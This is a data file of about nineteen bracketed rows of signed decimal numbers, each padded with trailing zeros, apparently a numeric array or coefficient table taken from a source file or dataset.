[0.0, -0.08785, 0.00317, 0.24581, 0.12436, 0.15508, 0.14027, -0.18439, -0.10735, -0.19765, -0.28609, 0.26351, 0.51928, 0.44935, -0.40328, -0.75042, 0.19676, 0.83565, 0.35635, -0.89766, -0.65257, 0.141, 0.04992, -0.38989, 0.12874, 0.54912, 0.19332, -0.89033, -0.40346, 0.32517, 0.8682, 0.74669, 0.351, -0.06987, -0.06891, 0.00548, 0.44037, -0.05185, -0.19407, -0.11313, 0.12416, 0.50254, -0.04796, -0.75382, -0.7, -0.55983, -0.53033, -0.08329, -0.62776, -0.56555, -0.24833, 0.32804, 0.16374, -0.14316, -0.03473, -0.25673, -0.33861, -0.06948, -0.34375, -0.09993, -0.08758, 0.10678, -0.22409, 0.0589, -0.15231, -0.21396, -0.19871, -0.14068, 0.25507, 0.40236, 0.49662, 0.05528, 0.32514, 0.05963, 0.36641, -0.00366, -0.01696, -0.16761, -0.05305, 0.04568, -0.01424, -0.2265, -0.58934, 0.05735, -0.0586, -0.29439, -0.17481, 0.13542, -0.13009, 0.15327, 0.40277, 0.04081, -0.25971, -0.52785, 0.16276, 0.23291, 0.22451, 0.10708, -0.16816, -0.45088, -0.09057, -0.34436, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.23287, 0.01494, 0.01757, -0.12887, -0.25031, 0.19821, 0.05721, 0.17745, 0.09672, 0.43987, -0.18353, -0.23131, -0.2416, 0.43275, 0.28868, 0.15022, -0.5381, -0.30987, 0.64761, 0.35948, -0.0556, -0.12169, 0.32779, 0.04315, -0.53318, -0.47844, 0.78275, 0.79464, 0.16296, -0.79511, -0.9311, -0.39599, 0.12913, 0.20186, -0.00942, -0.4057, -0.03603, 0.38702, 0.33042, 0.12486, -0.35007, -0.03675, 0.33459, 0.79479, 0.76791, 0.40635, 0.19876, 0.52082, 0.53403, 0.37722, -0.27896, -0.2356, 0.07591, 0.05676, -0.14207, 0.26728, -0.17693, -0.0536, -0.15232, 0.45037, 0.01728, -0.02315, -0.24501, -0.02104, 0.3179, 0.08393, 0.02783, -0.05234, -0.00572, 0.34504, 0.30106, -0.34335, -0.42019, -0.53426, -0.21244, -0.10122, -0.09482, -0.02083, -0.04655, 0.07959, 0.12948, -0.09618, -0.44932, -0.0823, -0.28626, 0.26514, -0.16665, -0.107, -0.21943, -0.08468, -0.0641, 0.03118, 0.0814, 0.04224, 0.19903, 0.06206, 0.05619, -0.16659, -0.1221, 0.10438, 0.07672, -0.21302, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.09201, 0.30007, -0.54634, 0.3223, 0.44356, -0.12569, -0.26216, 0.17797, 0.18883, -0.5289, -0.31725, 0.36682, 0.56532, -0.0208, -0.10887, -0.16963, 0.29515, 0.54737, -0.41158, -0.84934, -0.10525, 0.27549, -0.08293, -0.31301, -0.02438, 0.4854, -0.38166, -0.73154, -0.22399, 0.76893, 0.78471, 0.26576, 0.07837, 0.05611, 0.20469, 0.42526, 0.25746, -0.22984, -0.42446, -0.2545, 0.21147, 0.35877, 0.10878, -0.36592, -0.78218, -0.35044, -0.19832, -0.30324, -0.1891, -0.61526, -0.21644, 0.16258, 0.08495, -0.17186, 0.0993, -0.30194, 0.11145, 0.27221, -0.05676, 0.07164, 0.13279, 0.48176, 0.13853, -0.09068, -0.29642, -0.35018, 0.08461, 0.08637, -0.18211, 0.00498, -0.14801, 0.18143, 0.15154, 0.23122, -0.07445, -0.24636, -0.33146, -0.04131, -0.07525, -0.27257, -0.03992, 0.08274, 0.14294, -0.13532, -0.02139, -0.1619, -0.22619, -0.1087, 0.14866, 0.36933, 0.39722, 0.52691, -0.27707, -0.0248, 0.00447, 0.22827, -0.08898, -0.04078, -0.13145, -0.25863, 0.00251, 0.05233, 0.0977, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.01725, -0.04976, 0.21986, 0.11156, -0.27641, -0.18856, 0.40342, 0.1619, -0.10945, 0.34053, 0.55996, -0.24504, -0.59878, -0.11206, 0.23369, 0.08822, -0.43446, -0.74071, 0.37164, 0.8241, -0.06719, -0.3203, 0.13564, 0.46462, 0.07824, -0.40238, 0.20543, 0.67865, 0.38471, -0.42849, -0.76517, -0.32247, 0.05003, 0.0285, -0.14492, -0.39478, -0.44137, 0.06221, 0.34965, 0.50801, 0.07886, -0.27751, -0.33308, -0.00258, 0.71125, 0.57803, 0.51721, -0.00081, 0.49729, 0.31658, -0.00059, -0.10127, -0.1066, 0.26364, 0.2174, 0.15385, 0.12337, -0.17658, -0.19905, -0.14431, 0.0197, -0.09874, -0.12843, -0.26998, -0.03656, 0.13939, -0.2378, -0.23497, 0.24554, 0.1665, 0.42087, 0.22417, -0.54464, -0.19278, -0.37863, 0.19974, -0.35572, -0.10715, -0.36277, 0.16894, 0.29383, 0.09177, -0.09624, -0.25395, 0.22341, -0.06257, -0.40592, -0.15205, -0.16857, -0.16136, -0.08269, -0.09394, 0.00903, -0.19905, -0.03432, 0.36153, 0.25716, 0.37392, 0.36225, -0.17452, -0.26496, 0.07358, 0.04538, -0.1855, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.36815, 0.52154, 0.10711, -0.45614, 0.32266, 0.46904, -0.39387, -0.15567, 0.21341, 0.14438, -0.64774, -0.15366, 0.48093, 0.10621, -0.48857, 0.13155, 0.48737, 0.85493, 0.12396, -0.64821, 0.01417, 0.36457, -0.18146, -0.53906, 0.01329, 0.33972, 0.22088, -0.88124, -0.73612, 0.13065, 0.60238, 0.37691, -0.1452, -0.09505, 0.031, 0.20407, 0.29622, 0.00449, -0.49192, -0.4563, -0.45628, 0.1115, 0.34867, 0.24072, -0.24897, -0.54337, -0.17513, 0.11759, -0.24142, -0.17204, -0.09324, -0.06612, 0.41538, 0.08128, -0.33296, 0.02676, -0.25839, 0.07082, 0.13993, 0.18217, 0.14244, 0.44013, 0.35141, 0.37373, 0.00553, -0.11774, -0.29771, -0.07227, -0.30495, -0.10664, -0.01908, 0.20002, 0.31151, 0.10918, 0.13855, -0.0033, -0.10455, -0.43326, -0.03092, -0.04166, -0.19418, 0.09067, 0.18336, 0.33128, -0.04576, -0.04225, 0.16074, -0.12383, -0.03534, 0.04459, 0.44302, 0.52426, 0.21602, 0.08287, 0.01977, 0.09144, -0.14902, -0.31288, -0.18547, 0.45042, 0.41604, 0.2841, 0.21975, 0.22178, 0.38108, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.28407, -0.05539, -0.57378, 0.36342, -0.19326, -0.14192, 0.17606, 0.39968, -0.17839, -0.39522, 0.60168, 0.49803, -0.41396, -0.17234, 0.60631, 0.27716, -0.14687, -0.82829, -0.50932, 0.51536, 0.39539, -0.43101, -0.07719, 0.39924, 0.16945, -0.43749, -0.40505, 0.77311, 0.82596, 0.06802, -0.51991, -0.52543, 0.14332, 0.33981, 0.18698, -0.08662, -0.12782, -0.13872, 0.08, 0.48318, 0.50565, 0.09196, -0.1451, -0.30427, -0.34599, 0.18565, 0.39332, 0.15484, 0.10936, 0.2932, 0.65194, -0.02562, -0.39888, -0.23654, 0.29019, 0.25881, 0.42894, 0.42496, -0.23827, -0.20556, -0.13357, -0.13799, -0.10683, -0.31169, -0.23352, -0.033, 0.42728, 0.14912, -0.09698, 0.26826, 0.07188, 0.08344, -0.14051, -0.32375, -0.17721, 0.12672, -0.02948, 0.44632, -0.10619, -0.28214, -0.16533, 0.17185, 0.19416, 0.42158, 0.09752, 0.21855, 0.04163, -0.07786, -0.09542, 0.12524, 0.05085, -0.30039, -0.29313, -0.02757, 0.05024, -0.27438, 0.27471, 0.1986, -0.0434, -0.41217, 0.15115, 0.20472, 0.02333, 0.29499, -0.1453, 0.13795, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.63134, 0.08385, 0.47081, -0.08235, -0.01087, 0.1551, 0.18403, -0.21755, 0.21308, 0.22566, -0.27946, -0.55839, 0.17313, 0.41449, -0.30278, -0.62538, 0.02811, 0.91053, 0.58769, -0.25958, -0.5549, 0.56823, 0.28816, -0.37133, -0.26737, 0.24291, 0.47581, -0.0983, -0.71778, -0.27955, 0.28565, 0.43116, 0.15058, -0.51933, -0.33069, 0.00504, -0.11845, 0.14374, -0.03562, -0.46965, -0.53948, -0.37874, 0.05036, 0.19814, 0.12157, 0.00671, -0.3594, -0.249, 0.05522, -0.37115, -0.17939, -0.11577, 0.26625, 0.56308, 0.14271, -0.26445, -0.00493, -0.16463, 0.16283, 0.24756, 0.06796, 0.15581, 0.22966, 0.64065, 0.4591, -0.00591, -0.19288, -0.34734, -0.18192, -0.24723, -0.25854, 0.12297, -0.01441, 0.37489, -0.18491, 0.18971, 0.00541, -0.2186, -0.47602, 0.30572, 0.03364, 0.07611, 0.08787, -0.10189, 0.3217, 0.02339, 0.02209, 0.13966, 0.00418, -0.20254, 0.19061, 0.48425, 0.02913, -0.01688, -0.15964, 0.20754, -0.00098, 0.08483, -0.00661, 0.11992, 0.07683, 0.07896, -0.12807, -0.09394, 0.20503, 0.07485, 0.02126, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.33539, 0.62791, -0.34468, -0.06623, 0.21237, -0.29311, -0.17063, 0.44159, 0.37686, -0.06122, -0.22021, 0.66364, 0.2249, -0.70675, -0.087, 0.5769, 0.06559, -0.44945, -0.22193, -0.07842, 0.56465, -0.39644, -0.55148, 0.33909, 0.41577, -0.1452, -0.51523, -0.29926, 0.62832, 0.33827, 0.02429, -0.33634, -0.10093, 0.36119, 0.20877, 0.09942, 0.01906, 0.07856, 0.00398, 0.42717, 0.66411, 0.51096, 0.00219, -0.00777, -0.01235, -0.01998, -0.07253, 0.01735, 0.11043, -0.02705, 0.03555, 0.27325, -0.02836, -0.26977, -0.22927, 0.10672, 0.03763, -0.00427, 0.0599, 0.06805, -0.05272, 0.04346, -0.27356, -0.2569, -0.37206, -0.20355, 0.08588, 0.38016, 0.04924, -0.27403, -0.05349, 0.20754, 0.09777, -0.06227, -0.17085, -0.06775, -0.00918, 0.33232, 0.40099, -0.11418, -0.37159, -0.15451, 0.01157, 0.16925, 0.04233, 0.20416, 0.11588, 0.06942, 0.09683, -0.14332, 0.25539, -0.08633, 0.07149, -0.40547, -0.24063, -0.16759, 0.01124, -0.18915, 0.10005, 0.06903, 0.05184, 0.21501, -0.04024, -0.17843, -0.01687, -0.05227, 0.09559, -0.36069, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.24538, -0.51022, 0.02102, 0.04204, -0.17186, 0.23081, 0.11728, 0.00192, -0.28351, 0.11888, 0.28888, -0.4639, -0.40065, 0.38856, 0.2164, -0.23264, -0.33109, 0.35507, 0.40948, 0.09429, -0.27295, 0.16555, 0.62787, -0.31568, -0.51, 0.16268, 0.55559, 0.41124, -0.3536, -0.36782, -0.2505, 0.16669, 0.19069, -0.01448, -0.23368, -0.07798, -0.14996, -0.33369, -0.0845, -0.12915, -0.6025, -0.51945, -0.1301, 0.22944, 0.10178, 0.1717, 0.21017, 0.09975, 0.01666, 0.11206, 0.1212, -0.3186, -0.40521, -0.06832, 0.24035, 0.1683, 0.00257, -0.03035, -0.10255, -0.05363, -0.05578, -0.12034, -0.05543, 0.12362, 0.50288, 0.1851, -0.04632, -0.14521, 0.09867, 0.386, -0.02939, -0.13469, -0.00509, 0.19148, 0.18303, 0.0821, -0.0919, -0.22959, -0.45855, -0.0885, 0.07378, 0.06644, -0.00554, 0.21682, 0.0156, 0.17592, -0.10295, -0.16267, 0.01323, 0.06354, -0.0603, 0.1563, 0.12566, 0.16005, 0.17576, -0.00549, 0.06878, 0.15256, -0.04511, -0.15991, 0.0454, 0.00374, 0.35175, -0.0144, -0.43938, -0.04397, -0.12187, -0.13521, 0.10143, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.16019, 0.39485, 0.09508, -0.16702, 0.30613, -0.03169, -0.14966, -0.02632, 0.37848, 0.07646, -0.27613, 0.17306, 0.62082, 0.02976, -0.25727, 0.22747, 0.31171, -0.3457, -0.38583, 0.18613, 0.30899, -0.0504, -0.55371, -0.04974, 0.52073, 0.10893, -0.29753, -0.33395, 0.14585, 0.41878, 0.19588, -0.20031, -0.07669, 0.1485, 0.36715, 0.0261, 0.21105, 0.15012, 0.16295, 0.06957, 0.38936, 0.62411, 0.41321, -0.04487, -0.08583, -0.03278, 0.19706, -0.11869, -0.06676, -0.13588, 0.08, 0.26225, 0.27772, 0.01544, -0.116, -0.1253, 0.04507, 0.0082, -0.10101, -0.12513, -0.00077, 0.2418, 0.01123, -0.04508, -0.38109, -0.14313, -0.04503, -0.00296, -0.01288, -0.31856, -0.28985, -0.08699, -0.05844, 0.10125, -0.26019, -0.06976, 0.03854, 0.31031, 0.04304, 0.11242, -0.18188, 0.02647, -0.09254, -0.1109, -0.04358, -0.06659, 0.11211, 0.00028, -0.00635, -0.07396, -0.13876, -0.0771, -0.01788, -0.15226, -0.30139, -0.03172, -0.01861, -0.20118, -0.11896, 0.00462, 0.15647, 0.10384, 0.00779, 0.16842, -0.09132, -0.18294, 0.03463, 0.07926, -0.49044, -0.25658, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.02216, 0.09389, -0.28534, 0.15312, -0.13428, -0.03098, 0.12271, 0.19831, 0.01328, -0.07246, 0.35247, 0.1765, -0.56961, -0.45344, 0.18693, -0.0252, -0.24686, 0.13746, 0.43286, -0.12809, -0.28601, -0.01684, 0.58717, 0.43674, -0.54007, -0.56703, 0.16181, 0.1368, 0.01878, -0.25309, -0.04981, 0.15064, 0.02318, -0.17719, -0.32063, 0.03496, 0.04661, 0.08215, -0.31475, -0.15781, -0.41858, -0.53006, -0.54551, -0.08279, 0.1515, 0.12011, -0.20503, -0.06929, 0.10194, -0.04263, -0.11284, 0.0534, 0.03398, -0.15686, -0.11444, -0.00501, -0.06099, -0.1621, -0.02246, 0.06626, 0.21795, 0.15311, -0.00614, 0.03245, 0.11176, 0.33957, 0.02544, 0.05075, 0.05831, 0.31406, 0.24899, 0.05973, -0.09299, 0.16438, 0.15051, 0.17554, -0.09303, 0.01298, -0.2411, -0.17166, -0.16196, -0.06159, 0.07145, 0.09454, 0.13576, 0.14845, 0.05939, 0.1122, 0.0457, 0.1788, 0.25173, 0.02375, 0.13128, -0.12009, -0.02285, -0.02377, 0.01947, 0.09151, 0.19519, -0.23474, -0.14424, -0.08961, 0.09878, -0.00526, 0.08587, 0.04818, -0.06095, 0.3373, 0.23554, 0.02968, 0.17035, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.1086, 0.12127, 0.03201, -0.10621, 0.11834, 0.10596, -0.14715, -0.17446, 0.09101, 0.19833, -0.16763, -0.28384, 0.37141, 0.47106, -0.0878, -0.05853, 0.4043, 0.11439, -0.36569, -0.07919, 0.34958, 0.04907, -0.50673, -0.45787, 0.28449, 0.62536, -0.07183, -0.16445, -0.19569, 0.03722, 0.10968, -0.12985, -0.09513, 0.14958, 0.42794, 0.21034, -0.04502, -0.05655, 0.11754, 0.30082, 0.25868, 0.37088, 0.59286, 0.28008, -0.08645, -0.05662, 0.24543, 0.28252, -0.0244, 0.04298, -0.09724, -0.06031, 0.05017, 0.11001, 0.16349, 0.08437, 0.0293, 0.04623, -0.12103, -0.39006, -0.40717, -0.18343, -0.09521, -0.07075, -0.15698, -0.47681, -0.24106, -0.163, 0.10478, -0.02758, -0.04408, -0.03489, 0.05625, -0.0655, -0.0017, -0.0607, -0.07367, -0.09071, -0.06712, -0.02337, 0.01247, 0.08093, -0.04776, 0.03771, -0.16317, 0.01126, -0.0671, 0.04713, -0.10719, 0.05974, 0.04766, -0.21712, -0.14693, -0.12074, 0.0718, 0.00103, 0.21421, -0.02628, -0.15222, -0.01643, 0.01637, -0.05882, -0.09691, 0.08782, -0.208, -0.01877, 0.06424, 0.29201, -0.13706, -0.22927, -0.11046, 0.2846, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.27457, -0.00488, -0.00843, -0.06885, 0.01647, -0.08322, 0.10369, 0.30947, 0.05731, -0.29783, 0.02217, 0.61263, 0.07701, -0.46793, -0.17965, 0.19197, -0.23054, 0.01787, 0.5196, 0.11873, -0.49411, -0.2584, 0.33282, 0.35267, -0.08237, -0.41638, -0.05189, 0.24469, 0.02657, -0.11173, -0.03575, 0.07662, 0.27413, -0.14535, -0.43588, -0.3757, -0.14825, 0.06083, 0.19836, -0.04747, -0.28325, -0.4897, -0.41466, -0.27774, -0.1164, 0.14345, -0.04268, -0.24652, -0.05425, 0.05344, 0.12007, -0.05663, -0.05288, -0.1857, 0.03783, 0.13898, 0.0557, 0.0398, -0.06189, 0.01576, 0.24865, 0.26663, 0.19827, 0.25661, 0.18338, 0.38718, 0.17183, 0.01306, -0.18631, 0.12543, 0.15714, 0.22895, 0.11676, -0.01077, 0.00012, 0.09277, -0.02924, 0.06645, -0.00171, 0.03714, -0.19912, -0.29836, -0.25545, 0.15032, 0.13881, -0.09328, 0.12678, 0.07036, 0.10228, 0.087, -0.06672, 0.3078, -0.02047, -0.03011, -0.16433, -0.12169, -0.14857, -0.02697, 0.01134, -0.07339, -0.01451, -0.08504, -0.12782, -0.08708, -0.07975, 0.05446, -0.19057, 0.13808, 0.18678, 0.09015, 0.07462, 0.00983, 0.33936, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.06826, 0.36294, 0.06146, -0.14352, 0.10941, 0.31957, 0.10997, -0.08478, -0.00237, 0.27443, -0.01025, -0.49396, -0.25199, 0.33779, 0.31326, -0.26397, 0.00476, 0.09196, -0.20009, -0.13551, 0.53902, 0.3504, -0.22817, -0.45166, -0.12218, 0.28315, 0.10877, -0.24495, -0.1178, 0.15977, 0.05174, -0.13919, -0.3325, -0.02787, 0.30297, 0.53141, 0.2131, -0.03311, -0.22651, -0.24541, 0.16637, 0.33397, 0.35095, 0.49924, 0.23137, -0.11499, -0.18153, 0.19345, 0.16557, -0.11128, -0.04968, 0.01815, -0.04215, 0.05236, 0.01748, 0.15305, 0.01624, 0.02627, 0.24444, -0.12842, -0.27952, -0.25741, -0.30959, -0.23077, -0.22423, -0.26914, -0.35904, -0.15325, -0.04224, -0.20188, -0.32015, 0.02275, -0.10247, 0.12969, -0.12513, -0.01125, -0.09222, -0.01387, -0.20911, 0.02382, -0.07208, 0.24217, 0.00922, -0.20815, -0.04157, -0.05892, 0.10717, 0.14384, 0.01267, -0.22326, 0.07551, -0.00755, -0.02805, -0.11974, -0.1655, -0.14254, -0.03784, 0.09651, -0.02911, -0.11964, -0.20271, -0.19108, 0.16353, -0.03486, -0.1117, -0.14866, -0.15235, 0.15141, 0.13975, 0.23403, -0.23577, -0.02573, 0.09818, 0.11499, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.16182, -0.17041, -0.10236, 0.03434, 0.07387, -0.23226, -0.20712, 0.03837, 0.42209, -0.00034, -0.31952, 0.25544, 0.58986, -0.1898, -0.44218, 0.04405, 0.09519, -0.12321, 0.20115, 0.31927, -0.32304, -0.49887, 0.07442, 0.4919, 0.09902, -0.34349, -0.14862, 0.11652, 0.20121, -0.16922, -0.2089, 0.07046, 0.24369, 0.3735, -0.05875, -0.44262, -0.29764, -0.0897, 0.17502, 0.32788, -0.05155, -0.1985, -0.33196, -0.34446, -0.16325, 0.20012, 0.18678, -0.11132, -0.13608, -0.01866, 0.14087, 0.17568, 0.03909, 0.00799, -0.15613, -0.06788, 0.02055, 0.06908, -0.04229, 0.06175, 0.08644, 0.16283, 0.18236, 0.2195, 0.18959, 0.18304, 0.28144, 0.18702, 0.06918, 0.25174, 0.20506, -0.09596, -0.05602, -0.15636, -0.00805, -0.00261, 0.01113, -0.10441, -0.19214, -0.11915, -0.0228, 0.08093, -0.11821, -0.15533, -0.25384, 0.06441, -0.24939, 0.09882, 0.05721, 0.18901, 0.139, 0.08794, -0.0566, -0.10376, -0.037, -0.05376, -0.12955, -0.18451, -0.10118, -0.10019, -0.09969, -0.06128, -0.18358, 0.2204, 0.17763, 0.05793, -0.08102, -0.12724, 0.15765, 0.04046, -0.04445, -0.27771, -0.31916, 0.06983, 0.07598, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.0177, 0.19543, 0.1133, -0.22638, -0.14208, 0.14231, 0.19854, 0.03761, -0.14807, 0.14479, 0.39423, 0.03472, -0.45182, 0.07882, 0.43278, 0.1867, -0.05168, 0.05489, -0.13659, -0.30335, 0.20348, 0.57693, 0.05897, -0.43571, -0.24785, 0.14569, 0.2767, -0.10479, -0.34058, -0.0653, 0.23464, 0.13103, -0.14882, -0.36019, -0.11624, 0.21031, 0.29602, 0.11128, -0.0778, -0.19596, -0.12823, 0.1156, 0.28136, 0.1882, 0.15362, 0.16665, 0.03678, -0.02059, 0.25806, 0.13452, -0.11111, -0.14008, -0.04317, -0.12436, -0.01811, -0.09472, 0.03108, -0.01114, -0.01287, -0.0187, -0.05197, -0.0983, -0.16656, -0.1876, -0.20808, -0.0902, -0.18323, -0.10704, -0.03554, -0.07471, -0.26185, -0.05, 0.15726, 0.12303, -0.01963, -0.17464, -0.06226, 0.01423, -0.03724, 0.06726, 0.03626, -0.03954, 0.04471, 0.16694, 0.01502, -0.1548, -0.05878, -0.04184, 0.11603, 0.11637, -0.23088, -0.37921, -0.178, 0.08613, -0.01487, 0.00629, -0.06967, 0.15667, -0.01065, 0.00374, -0.11632, 0.00765, -0.04344, -0.28699, -0.0238, 0.0999, -0.03807, -0.06028, -0.02456, -0.0881, -0.00179, 0.01967, -0.0926, 0.00546, -0.05349, 0.02493, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.0359, -0.12915, -0.14393, 0.13771, 0.16945, 0.08407, -0.18452, -0.00072, 0.08245, 0.10056, -0.18052, -0.17076, 0.53373, 0.22652, -0.31394, -0.32141, 0.04344, 0.05176, 0.05181, 0.23134, 0.00745, -0.51471, -0.19216, 0.30766, 0.3097, -0.1207, -0.38075, 0.12714, 0.27477, 0.24456, -0.11424, -0.24166, -0.02183, 0.21656, 0.36431, -0.00185, -0.28695, -0.23206, -0.01327, 0.13356, 0.15391, -0.02534, -0.20316, -0.03993, -0.07032, -0.05032, 0.06283, 0.09851, -0.16001, -0.06016, 0.09953, 0.1286, 0.16482, 0.06484, 0.17086, 0.15046, 0.1182, 0.07889, 0.01043, -0.00875, 0.01846, 0.11542, 0.16053, 0.2861, 0.23063, 0.08391, 0.0979, 0.06615, -0.04841, 0.11486, 0.16909, 0.26046, -0.19795, -0.19676, -0.29926, 0.19578, 0.09753, 0.16767, -0.04486, -0.19827, -0.24013, 0.11751, -0.01076, -0.07243, -0.19799, -0.06156, -0.08266, -0.21243, -0.01675, -0.08367, 0.00321, 0.18682, 0.15938, -0.21853, -0.25388, -0.07281, -0.08638, -0.09745, -0.13443, -0.04031, 0.01488, -0.24531, -0.1657, -0.18331, 0.15742, 0.11769, -0.01319, 0.12399, 0.17587, 0.12948, 0.1652, 0.15403, -0.1666, -0.14265, -0.14288, -0.04948, -0.04788, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.02197, 0.17658, 0.20705, -0.12129, -0.17549, -0.06158, 0.09488, -0.0297, -0.10745, -0.22453, 0.12178, 0.28329, -0.34125, -0.41733, 0.31001, 0.45979, 0.05381, 0.04003, -0.06217, -0.25353, -0.09717, 0.33214, 0.30405, -0.08929, -0.28785, 0.00213, 0.34537, 0.20594, -0.19392, -0.24028, -0.03673, 0.16318, 0.04146, -0.06282, -0.13805, 0.05517, 0.20679, 0.16772, -0.02144, -0.23082, -0.20714, -0.02612, 0.21928, 0.11775, -0.0773, -0.10295, -0.05563, -0.08944, 0.05164, 0.09658, -0.09619, -0.01546, -0.12097, -0.14692, -0.15358, -0.13549, -0.21755, -0.02176, -0.07183, 0.00403, 0.00177, -0.13672, -0.12004, -0.16769, -0.20298, 0.04025, -0.02259, -0.05774, 0.15869, 0.16506, 0.03219, -0.18956, -0.00169, 0.14906, 0.26425, -0.14957, -0.18895, -0.01187, -0.02648, 0.059, 0.03891, 0.07859, 0.10675, 0.00231, 0.09692, 0.02036, -0.20564, 0.24202, -0.07436, 0.02204, 0.07691, 0.02109, -0.11933, -0.04892, 0.00878, -0.08819, -0.06557, -0.11735, 0.01731, 0.0455, 0.1244, 0.26468, 0.17518, 0.08876, -0.19146, -0.21127, -0.00718, 0.137, -0.08476, 0.08279, 0.06536, -0.08535, 0.02954, 0.03223, 0.15597, -0.12559, -0.02768, -0.02301, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.03526, 0.10515, -0.239, -0.0063, 0.28912, 0.13496, -0.11575, 0.00989, 0.33162, 0.21361, -0.17624, -0.18852, 0.14818, 0.44572, -0.03498, -0.34334, -0.16989, 0.03967, 0.17079, 0.18492, 0.31162, -0.27394, -0.30782, -0.02163, 0.19183, 0.00909, -0.353, -0.30939, 0.10396, 0.22686, 0.14116, 0.00626, -0.06208, 0.01872, 0.05382, -0.01292, -0.14914, -0.19238, -0.06687, 0.11162, 0.09137, 0.05112, -0.10052, -0.02763, 0.10971, 0.08008, 0.12377, 0.10246, -0.11353, -0.27706, 0.05685, 0.10722, 0.12889, 0.0824, 0.01864, 0.01054, 0.08314, 0.04621, 0.02328, 0.02514, 0.06273, 0.17396, 0.13501, 0.06251, 0.11811, 0.13717, 0.00333, 0.10391, 0.09098, 0.11232, 0.08696, 0.20293, 0.10059, 0.04231, -0.13518, 0.00647, 0.05397, 0.0306, 0.06489, 0.13466, -0.13199, 0.02137, 0.02597, 0.05023, -0.03644, 0.06353, 0.04016, -0.07567, 0.06888, 0.00025, -0.23182, -0.36524, -0.11585, 0.02212, -0.12703, -0.08476, -0.09893, -0.09685, -0.26983, -0.13286, -0.05728, -0.19503, -0.04262, -0.01794, 0.02453, 0.03762, 0.03477, -0.10136, 0.0028, 0.10416, 0.114, 0.02651, -0.06316, 0.07121, -0.06501, -0.08908, -0.0376, -0.20903, -0.0728, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
